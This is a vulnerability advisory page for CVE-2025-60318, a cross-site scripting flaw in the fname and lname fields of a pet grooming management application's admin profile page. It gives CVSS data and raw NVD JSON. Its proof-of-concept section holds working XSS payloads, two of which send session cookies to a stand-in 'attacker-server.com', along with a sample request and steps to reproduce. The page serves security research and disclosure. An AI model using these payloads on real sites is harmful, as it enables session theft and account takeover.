Security Vulnerability Report
中文
CVE-2025-60318 CVSS 6.1 MEDIUM

CVE-2025-60318

Published: 2025-10-08 16:15:40
Last Modified: 2025-10-09 16:06:43

Description

SourceCodester Pet Grooming Management Software 1.0 is vulnerable to Cross Site Scripting (XSS) in /admin/profile.php via the fname (First Name) and lname (Last Name) fields.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:mayurik:pet_grooming_management_software:1.0:*:*:*:*:*:*:* - VULNERABLE
SourceCodester Pet Grooming Management Software 1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-60318 Proof of Concept --> <!-- Vulnerable endpoint: /admin/profile.php --> <!-- Vulnerable parameters: fname (First Name), lname (Last Name) --> <!-- Payload 1: Basic script injection via fname field --> <script> // Intercept session cookies and exfiltrate to attacker server var cookie = document.cookie; var img = new Image(); img.src = "http://attacker-server.com/steal?cookie=" + encodeURIComponent(cookie); </script> <!-- Payload 2: Event handler injection via lname field --> <img src=x onerror="fetch('http://attacker-server.com/log?data='+document.cookie)"> <!-- Payload 3: SVG-based XSS payload --> <svg/onload=alert(document.domain)> <!-- HTTP Request Example (using curl): --> <!-- POST /admin/profile.php HTTP/1.1 Host: target-server.com Content-Type: application/x-www-form-urlencoded Cookie: PHPSESSID=admin_session_cookie fname=<script>alert(document.cookie)</script>&lname=<img src=x onerror=alert(1)>&[email protected]&contact=1234567890 --> <!-- Steps to reproduce: 1. Login as admin to Pet Grooming Management Software 2. Navigate to /admin/profile.php 3. Inject malicious payload into fname or lname fields 4. Submit the form 5. When the profile is viewed by another user, the XSS payload executes -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-60318", "sourceIdentifier": "[email protected]", "published": "2025-10-08T16:15:39.703", "lastModified": "2025-10-09T16:06:43.363", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "SourceCodester Pet Grooming Management Software 1.0 is vulnerable to Cross Site Scripting (XSS) in /admin/profile.php via the fname (First Name) and lname (Last Name) fields."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mayurik:pet_grooming_management_software:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "B88D324D-B780-4D8D-BE43-829227D2808F"}]}]}], "references": [{"url": "https://github.com/ChuckBartowski7/Vulnerability-Research/blob/main/CVE-2025-60318/README.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.youtube.com/watch?v=KopMozY6X5w&t=191s&ab_channel=MayuriK", "source": "[email protected]", "tags": ["Product"]}]}}